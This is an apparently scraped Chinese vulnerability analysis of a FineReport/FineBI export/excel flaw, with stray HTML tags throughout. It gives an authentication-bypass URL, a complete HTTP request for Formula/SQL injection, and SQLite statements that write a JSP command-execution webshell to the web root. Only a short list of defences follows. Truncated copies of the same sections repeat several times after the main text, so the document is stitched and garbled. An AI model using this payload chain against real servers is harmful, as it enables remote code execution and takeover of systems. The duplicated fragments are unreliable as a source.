帆软报表 export\/excel SQL注入与Webshell落地利用分析<\/h1>

漏洞概述<\/h2>
帆软报表（FineReport）在 export\/excel 接口中存在安全漏洞，由于对传入的参数没有严格校验，攻击者可构造恶意的 SQL 语句上传 Webshell 实现远程代码执行，进而获取服务器权限。<\/p>

漏洞影响范围<\/h2>

FineReport < 11.5.4.1<\/li>
FineBi 7.0.* < 7.0.5<\/li>
FineBi 6.1.* < 6.1.8<\/li>
FineBi 6.0.* < 6.0.24<\/li>
FineDataLink 5.0.* < 5.0.4.3<\/li>

FineDataLink 4.0.* < 4.2.11.3<\/li> <\/ul>

技术分析<\/h2>

鉴权绕过分析<\/h3>

1. 请求拦截器检查机制<\/h4>

帆软的请求在到达实际业务代码前，会经过多个Interceptor的校验，其中DecisionInterceptor<\/code>负责对模板的鉴权操作。<\/p>

在DecisionInterceptor<\/code>中会对请求经过多次检查，检查的List如下：<\/p>

getRequestChecker()<\/span> \/\/ 获取请求检查器列表
<\/span><\/span><\/span><\/code><\/pre>2. 条件1：通过acceptRequest检查<\/h4>
在com.fr.decision.webservice.interceptor.handler.ReportTemplateRequestChecker#acceptRequest<\/code>中：<\/p>
public<\/span> boolean<\/span> acceptRequest<\/span>(<\/span>HttpServletRequest var1,<\/span> HandlerMethod var2)<\/span> {<\/span>
<\/span><\/span>    TemplateAuth var3 =<\/span> (<\/span>TemplateAuth)<\/span>var2.<\/span>getMethod<\/span>().<\/span>getAnnotation<\/span>(<\/span>TemplateAuth.<\/span>class<\/span>);<\/span>
<\/span><\/span>    return<\/span> var3 !=<\/span> null<\/span> &&<\/span> var3.<\/span>product<\/span>()<\/span> ==<\/span> TemplateProductType.<\/span>FINE_REPORT<\/span> 
<\/span><\/span>           &&<\/span> StringUtils.<\/span>isNotEmpty<\/span>(<\/span>this<\/span>.<\/span>getTemplateId<\/span>(<\/span>var1,<\/span> var2));<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>关键函数getTemplateId<\/code>会检查请求是否包含以下参数：<\/p>

viewlet<\/li>
reportlet<\/li>
formlet<\/li>
reportlets<\/li>
<\/ul>
3. 条件2：利用checkTemplateAuthority缺陷<\/h4>
在com.fr.decision.webservice.interceptor.handler.TemplateRequestChecker#getTempAuthValidatorStatus<\/code>中：<\/p>
List<<\/span>TempAuthValidatorStatus><\/span> getTempAuthValidatorStatus<\/span>(<\/span>HttpServletRequest var1,<\/span> String var2,<\/span> int<\/span> var3)<\/span> {<\/span>
<\/span><\/span>    \/\/ 需要让返回列表包含null元素
<\/span><\/span><\/span><\/span>    var4.<\/span>add<\/span>(<\/span>this<\/span>.<\/span>getTempAuthStatus<\/span>(<\/span>var1,<\/span> var2,<\/span> var3));<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>要让getTempAuthStatus<\/code>返回null，需要让detectTemplateNeedAuthenticate<\/code>返回false。<\/p>
绕过方法：<\/strong><\/p>

传入模板名称为\/<\/code>：\/webroot\/decision\/view\/report?reportlets=\/<\/code><\/li>
或使用JSON格式：\/webroot\/decision\/view\/report?reportlets=[{'reportlet':'\/'}]<\/code><\/li>
<\/ul>
获取sessionId<\/h3>
条件3：设置op=getSessionID<\/h4>
在com.fr.web.core.ReportDispatcher#dealWithRequest<\/code>中，通过传递op=getSessionID<\/code>参数获取合法的sessionId。<\/p>
条件4：进入GroupReportletCreator<\/h4>
需要选择合适的WebletCreator，其中GroupReportletCreator<\/code>满足条件：<\/p>

请求参数：viewlets 或 reportlets<\/li>
match条件：参数值以[<\/code>开头，以]<\/code>结尾<\/li>
<\/ul>
联立条件生成有效payload<\/h3>
综合以上条件，最终的鉴权绕过payload为：<\/p>
\/webroot\/decision\/view\/report?op=getSessionID&reportlets=[{'reportlet':'\/'}]
<\/code><\/pre>
执行任意Formula表达式<\/h2>
漏洞接口分析<\/h3>
存在漏洞的路由为export\/excel<\/code>，对应处理类：

com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetExcelExportHandler#doHandle<\/code><\/p>
关键参数构造<\/h3>
请求需要包含以下参数：<\/p>

sessionID<\/strong>：通过鉴权绕过获取的sessionId<\/li>
params<\/strong>：XML格式的参数，包含Formula表达式<\/li>
parameters<\/strong><\/strong>：空JSON对象{}<\/code><\/li>
functionParams<\/strong>：空JSON对象{}<\/code><\/li>
<\/ol>
Formula表达式注入payload结构<\/h3>
<R><\/span>
<\/span><\/span>  <LargeDatasetExcelExportJS<\/span> exportFileName=<\/span>"waibiwaibi"<\/span> dsName=<\/span>"ds1"<\/span> colNames=<\/span>"{}"<\/span> exportFormat=<\/span>"excel"<\/span> encodeFormat=<\/span>"UTF-8"<\/span>\/><\/span>
<\/span><\/span>  <Parameters><\/span>
<\/span><\/span>    <Parameter><\/span>
<\/span><\/span>      <Attributes<\/span> name=<\/span>"p1"<\/span>><\/Attributes><\/span>
<\/span><\/span>      <Object<\/span> t=<\/span>"Formula"<\/span>><\/span>
<\/span><\/span>        <Attributes><\/span>sql('FRDemo', DECODE('编码后的SQL语句'), 1, 1)<\/Attributes><\/span>
<\/span><\/span>      <\/Object><\/span>
<\/span><\/span>    <\/Parameter><\/span>
<\/span><\/span>  <\/Parameters><\/span>
<\/span><\/span><\/R><\/span>
<\/span><\/span><\/code><\/pre>完整请求示例<\/h3>
GET<\/span> \/webroot\/decision\/nx\/report\/v9\/largedataset\/export\/excel HTTP<\/span>\/<\/span>1.1<\/span>
<\/span><\/span>Host:<\/span> target.com:8075<\/span>
<\/span><\/span>sessionID:<\/span> 获取的sessionId<\/span>
<\/span><\/span>params:<\/span> <R><LargeDatasetExcelExportJS exportFileName="test" dsName="ds1" colNames="{}" exportFormat="excel" encodeFormat="UTF-8"\/><Parameters><Parameter><Attributes name="p1"><\/Attributes><Object t="Formula"><Attributes>sql('FRDemo', DECODE('%2573%2565%256c%2565%2563%2574%2520%2527%2574%2565%2573%2574%2527'),1,1)<\/Attributes><\/Object><\/Parameter><\/Parameters><\/R><\/span>
<\/span><\/span>__parameters__:<\/span> {}<\/span>
<\/span><\/span>functionParams:<\/span> {}<\/span>
<\/span><\/span><\/code><\/pre>Webshell落地利用<\/h2>
SQLite数据库特性利用<\/h3>
新版帆软增加了安全过滤，但可以利用SQLite的VACUUM和REPLACE功能：<\/p>
1. 创建表存储webshell<\/h4>
CREATE<\/span> TABLE<\/span> shell_data1 (payload text);
<\/span><\/span><\/code><\/pre>2. 插入webshell内容<\/h4>
REPLACE<\/span> INTO<\/span> shell_data1 VALUES<\/span> ('<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>'<\/span>);
<\/span><\/span><\/code><\/pre>3. 导出为JSP文件<\/h4>
VACUUM<\/span> INTO<\/span> '..\/webapps\/webroot\/shell.jsp'<\/span>;
<\/span><\/span><\/code><\/pre>完整webshell payload<\/h3>
<R><\/span>
<\/span><\/span>  <Parameters><\/span>
<\/span><\/span>    <Parameter><\/span>
<\/span><\/span>      <Attributes<\/span> name=<\/span>"p1"<\/span>><\/Attributes><\/span>
<\/span><\/span>      <Object<\/span> t=<\/span>"Formula"<\/span>><\/span>
<\/span><\/span>        <Attributes><\/span>sql('FRDemo',DECODE('CREATE+TABLE+shell_data1+(payload+text);'),1,1)<\/Attributes><\/span>
<\/span><\/span>      <\/Object><\/span>
<\/span><\/span>    <\/Parameter><\/span>
<\/span><\/span>    <Parameter><\/span>
<\/span><\/span>      <Attributes<\/span> name=<\/span>"p2"<\/span>><\/Attributes><\/span>
<\/span><\/span>      <Object<\/span> t=<\/span>"Formula"<\/span>><\/span>
<\/span><\/span>        <Attributes><\/span>sql('FRDemo',DECODE('REPLACE+INTO+shell_data1+VALUES+(%27<<\/span>%+Runtime.getRuntime().exec(request.getParameter("cmd"));+%>%27);'),1,1)<\/Attributes><\/span>
<\/span><\/span>      <\/Object><\/span>
<\/span><\/span>    <\/Parameter><\/span>
<\/span><\/span>    <Parameter><\/span>
<\/span><\/span>      <Attributes<\/span> name=<\/span>"p3"<\/span>><\/Attributes><\/span>
<\/span><\/span>      <Object<\/span> t=<\/span>"Formula"<\/span>><\/span>
<\/span><\/span>        <Attributes><\/span>sql('FRDemo',DECODE('VACUUM+INTO+%27..\/webapps\/webroot\/shell.jsp%27;'),1,1)<\/Attributes><\/span>
<\/span><\/span>      <\/Object><\/span>
<\/span><\/span>    <\/Parameter><\/span>
<\/span><\/span>  <\/Parameters><\/span>
<\/span><\/span>  <LargeDatasetExcelExportJS<\/span> exportFileName=<\/span>"test"<\/span> dsName=<\/span>"ds1"<\/span> colNames=<\/span>"{}"<\/span> exportFormat=<\/span>"excel"<\/span> encodeFormat=<\/span>"UTF-8"<\/span>\/><\/span>
<\/span><\/span><\/R><\/span>
<\/span><\/span><\/code><\/pre>Windows环境特殊处理<\/h3>
在Windows环境下，需要开启JSP解析：<\/p>
GET \/webroot\/decision\/file?path=org.apache.jasper.servlet.JasperInitializer&type=class
<\/span><\/span><\/span><\/code><\/pre>防御建议<\/h2>

及时更新<\/strong>：升级到安全版本<\/li>
输入验证<\/strong>：加强对用户输入的校验和过滤<\/li>
权限控制<\/strong>：严格限制数据库操作权限<\/li>
安全配置<\/strong>：禁用不必要的数据库功能<\/li>
日志监控<\/strong>：加强对异常请求的监控和告警<\/li>
<\/ol>
总结<\/h2>
该漏洞通过巧妙的鉴权绕过和Formula表达式注入，结合SQLite数据库特性实现Webshell落地，具有较高的危害性。防护需要从多个层面进行综合防御。<\/p>

帆软报表 export\/excel SQL注入与Webshell落地利用分析<\/h1>

漏洞概述<\/h2>
帆软报表（FineReport）在 export\/excel 接口中存在安全漏洞，由于对传入的参数没有严格校验，攻击者可构造恶意的 SQL 语句上传 Webshell 实现远程代码执行，进而获取服务器权限。<\/p>

技术分析<\/h2>

鉴权绕过分析<\/h3>

获取sessionId<\/h3>

条件3：设置op=getSessionID<\/h4>
在`com.fr.web.core.ReportDispatcher#dealWithRequest<\/code>中，通过传递op=getSessionID<\/code>参数获取合法的sessionId。<\/p>`

执行任意Formula表达式<\/h2>

漏洞接口分析<\/h3>
存在漏洞的路由为`export\/excel<\/code>，对应处理类： com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetExcelExportHandler#doHandle<\/code><\/p>`

Webshell落地利用<\/h2>

SQLite数据库特性利用<\/h3>
新版帆软增加了安全过滤，但可以利用SQLite的VACUUM和REPLACE功能：<\/p>

总结<\/h2>
该漏洞通过巧妙的鉴权绕过和Formula表达式注入，结合SQLite数据库特性实现Webshell落地，具有较高的危害性。防护需要从多个层面进行综合防御。<\/p>

帆软报表 export\/excel SQL注入与Webshell落地利用分析<\/h1>

漏洞概述<\/h2> 帆软报表（FineReport）在 export\/excel 接口中存在安全漏洞，由于对传入的参数没有严格校验，攻击者可构造恶意的 SQL 语句上传 Webshell 实现远程代码执行，进而获取服务器权限。<\/p>

技术分析<\/h2>

鉴权绕过分析<\/h3>

获取sessionId<\/h3>

条件3：设置op=getSessionID<\/h4> 在com.fr.web.core.ReportDispatcher#dealWithRequest<\/code>中，通过传递op=getSessionID<\/code>参数获取合法的sessionId。<\/p>

执行任意Formula表达式<\/h2>

漏洞接口分析<\/h3> 存在漏洞的路由为export\/excel<\/code>，对应处理类： com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetExcelExportHandler#doHandle<\/code><\/p>

Webshell落地利用<\/h2>

SQLite数据库特性利用<\/h3> 新版帆软增加了安全过滤，但可以利用SQLite的VACUUM和REPLACE功能：<\/p>

总结<\/h2> 该漏洞通过巧妙的鉴权绕过和Formula表达式注入，结合SQLite数据库特性实现Webshell落地，具有较高的危害性。防护需要从多个层面进行综合防御。<\/p>

漏洞概述<\/h2>
帆软报表（FineReport）在 export\/excel 接口中存在安全漏洞，由于对传入的参数没有严格校验，攻击者可构造恶意的 SQL 语句上传 Webshell 实现远程代码执行，进而获取服务器权限。<\/p>

条件3：设置op=getSessionID<\/h4>
在`com.fr.web.core.ReportDispatcher#dealWithRequest<\/code>中，通过传递op=getSessionID<\/code>参数获取合法的sessionId。<\/p>`

漏洞接口分析<\/h3>
存在漏洞的路由为`export\/excel<\/code>，对应处理类： com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetExcelExportHandler#doHandle<\/code><\/p>`

SQLite数据库特性利用<\/h3>
新版帆软增加了安全过滤，但可以利用SQLite的VACUUM和REPLACE功能：<\/p>

总结<\/h2>
该漏洞通过巧妙的鉴权绕过和Formula表达式注入，结合SQLite数据库特性实现Webshell落地，具有较高的危害性。防护需要从多个层面进行综合防御。<\/p>